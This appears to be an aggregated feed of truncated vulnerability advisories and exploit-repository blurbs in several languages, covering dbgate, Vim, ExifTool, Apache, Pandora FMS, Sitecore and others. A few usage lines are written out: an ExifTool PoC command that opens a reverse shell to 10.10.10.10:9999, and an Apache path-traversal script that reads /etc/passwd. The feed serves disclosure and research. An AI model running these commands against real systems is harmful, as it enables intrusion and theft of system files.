CVE-2026-101067 dbgate save-uploaded-file Endpoint files.js saveUploadedFile path traversal

A vulnerability was identified in dbgate up to 6.8.1/7.0.2/7.1.8/7.2.5/7.3.1. This affects the function saveUploadedFile of the file files.js of the component save-uploaded-file Endpoint. Such manipulation of the argument filePath/fileName leads to path traversal. The attack may be launched...

CVE-2026-5718-Lab

CVE-2026-5718 本地 Docker 实验室 仅限本地的易受攻击版与已修补版 Docker 实验室，针对影响 WordPress 插件 Drag and Drop Multiple File Upload for Contact Form 7 的 CVE-2026-5718 。 本实验室通过仅在 Docker 环境中运行的最小危害 PHP 执行验证，演示易受攻击版本 1.3.9.6 与已修补版本 1.3.9.7 之间的差异。 适用范围：仅限 localhost / Docker 网络。请勿针对您不拥有或未经明确许可测试的系统使用此 PoC。 执行摘要 CVE-2026-5718...

CVE-2021-22204

CVE-2021-22204 説明 ExifTool バージョン 7.44 以降の DjVu ファイル形式におけるユーザーデータの不適切な無害化により、悪意のある画像を解析する際に任意のコード実行が可能になります。 スクリプト Script Link スクリプトの使い方: システムコマンド: bash CVE-2021-2204.sh "system'id'" happy.jpg リバースシェル bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg あなたのIPとポート 手動エクスプロイト $ sudo apt...

ThemeBleedPy

衷心感谢 gabek 在 C 中提供了初始 PoC，并实际发现了这个 CVE。这是用 Python 对他的代码进行的重制，复用了他的 stage 文件。 要查看原始 PoC，请访问他的页面：https://github.com/gabe-k/themebleed ThemeBleedPy 一个使用 Python 针对 CVE-2023-38146 “ThemeBleed” 的概念验证。 要求： 该程序使用 Impackets SMB 服务器 并重写了 smb2Create 函数，因此需要 Impackets 的功能。 Usage: Replace IP-ADDRESS in the...

ACEDcup

ACEDcup ACEDcup 工具是一个用于 Java 二进制反序列化攻击 ACED 的载荷生成器。 适用于 Apache Commons FileUpload 版本 = 1.3 CVE-2013-2186 和 Oracle JDK 版本 7u40 该攻击甚至对更新版本的库或 Java 也有效。我们可以将任意内容上传到任意目录，但 在此情况下无法控制文件名（例如 uploadf71d354772ed4ae190fe0d319115cd4200000000.tmp）。不过，在某些情况下它可能仍然有用。 此外，如果目标运行 Windows 操作系统，我们还可以执行 NTLM...

CVE-2021-32099

CVE-2021-32099 PoC 本仓库提供了针对 CVE-2021-32099 漏洞的概念验证（PoC）漏洞利用代码，该漏洞影响 Pandora FMS 742 。该漏洞利用演示了未经身份验证的攻击者如何利用 SQL 注入漏洞将会话从非特权级别提升到管理员级别。获得管理权限后，攻击者可通过 Pandora FMS File Manager 上传任意 PHP 文件，从而实现远程代码执行，并以 Web 服务器用户身份入侵服务器。 ⚠️ 免责声明 本项目仅用于教育、研究和经授权的安全测试目的 。 请勿在你不拥有或未经明确许可的系统上使用此代码。 作者不对 任何损坏或误用负责 。 安装...

CVE-2020-12116

CVE-2020-12116 概念実証コード：CVE-2020-12116を悪用した、ManageEngine OpMangerに対する認証なしの任意ファイル読み取り。 概要...

CVE-2026-93268

A flaw was found in the Linux kernel's ext4 file system. When mounting a file system, expanding extended attribute storage while holding an active journal lock can create a circular locking dependency. A local user capable of mounting or triggering file system recovery operations could exploit th...

vim: Vim: Heap buffer overflow allows arbitrary code execution

A heap buffer overflow in Vim allows a local attacker to cause a denial of service or potentially execute arbitrary code. The flaw is triggered by processing a specially crafted spell file, where the setsofo function fails to reset internal data between sections, leading to an out-of-bounds write...

vim: Vim: Arbitrary command execution via crafted tags file in C omni-completion

A command injection vulnerability in Vim's C omni-completion script allows an attacker to execute arbitrary commands if a user is tricked into opening a maliciously crafted tags file and manually invoking the autocomplete feature...

vim: Vim: Out-of-bounds Write in Spell File Word Count

A flaw was found in Vim, an open-source command-line text editor. A remote attacker could exploit this vulnerability by tricking a user into loading a specially crafted spell file. When the user invokes spell suggestion, the editor attempts to process the malicious file, leading to an out-of-boun...

Incident-Analysis-Response-Check-Point-Security-Gateway-CVE-2024-24919-LFI-Exploitation

事件分析：Check Point 安全网关 CVE-2024-24919 利用尝试 📌 执行摘要 2024年6月6日下午03:12，安全监控系统针对一次针对 Check Point 安全网关（CP-Spark-Gateway-01，IP：172.16.20.146）的高危漏洞利用尝试触发了警报。外部攻击者（源 IP 为 203.160.68.12）试图利用 CVE-2024-24919 （任意文件读取漏洞），通过向 /clients/MyCRL 端点发送精心构造的 HTTP POST...

By-Poloss..-..CVE-2026-11912

CVE-2026-11912: Simple File List eeListSettings'AllowFrontManage' != 'YES' return; isadmin関数はAJAXリクエストに対してFALSEを返すため、AllowFrontManage設定が評価される前に認可チェックが短絡されます。 3. Nonceの露出 : セキュリティnonce（eeSFLActionNonce）はwpcreatenonceを使用して生成され、フロントエンドHTMLのソースコードに露出しているため、攻撃者は認証なしでそれを抽出できます。 影響評価 機密性への影響：高...

CVE-2023-26262

Sitecore 10.3 已认证文件上传漏洞 作者：Thomas Stern 日期：26/01-2023 摘要 通过导入语言功能，可以上传任意文件。该文件可以是 WebShell，从而允许在服务器上执行代码。 复现步骤 为了测试此漏洞，我们通过 Docker 在本地机器上启动了一个 Sitecore 10.3 实例。 此漏洞尚未在旧版 Sitecore 上测试，但早期版本可能也存在同样的漏洞。 环境信息 主机：Windows 11 运行 Docker for Desktop Sitecore 10.3 1. 登录 Sitecore...

CTF-CVE-2022-0847

Dirty Pipe 部署 对于这个挑战，你需要使用 CVE-2022-0847 漏洞利用覆盖只读文件 "cat.txt" 使用该漏洞利用有很多种方法可以实现 依赖项 Linux 内核版本 5.8 或更高版本（易受攻击） gcc（GNU 编译器套件）用于编译漏洞利用代码 首次设置 1. 搭建易受攻击的环境： 对于 Linux 用户： 使用内核版本为 5.8 或更高、但低于已修复版本的 Linux 发行版： 已修复版本包括 5.16.11、5.15.25 和 5.10.102。 通过运行以下命令验证系统上的内核版本： uname -r 如果你的内核已被修复，则可能需要降级或使用其他 Lin...

CVE-2021-41773

CVE-2021-41773 Poc CVE-2021-41773 - 启用了CGI的Apache 2.4.49 使用： chmod -x CVE-2021-41773.sh ./CVE-2021-41773.sh http://ip:port/ /etc/passwd 参考资料 https://nvd.nist.gov/vuln/detail/CVE-2021-41773 https://vulners.com/cve/CVE-2021-41773...

vim: Vim: Out-of-bounds Write in Spell File Word Count

A flaw was found in Vim, an open-source command-line text editor. A remote attacker could exploit this vulnerability by tricking a user into loading a specially crafted spell file. When the user invokes spell suggestion, the editor attempts to process the malicious file, leading to an out-of-boun...

vim: Vim: Heap buffer overflow allows arbitrary code execution

A heap buffer overflow in Vim allows a local attacker to cause a denial of service or potentially execute arbitrary code. The flaw is triggered by processing a specially crafted spell file, where the setsofo function fails to reset internal data between sections, leading to an out-of-bounds write...

vim: Vim: Arbitrary code execution via crafted PHP file in omni-completion

A flaw was found in Vim, an open-source command-line text editor. The PHP omni-completion script improperly handles specially crafted input. When a victim opens a malicious PHP file and invokes omni-completion, an unescaped class or trait name can be interpreted as Ex commands. This allows a remo...

vim: Vim: Arbitrary command execution via crafted tags file in C omni-completion

A command injection vulnerability in Vim's C omni-completion script allows an attacker to execute arbitrary commands if a user is tricked into opening a maliciously crafted tags file and manually invoking the autocomplete feature...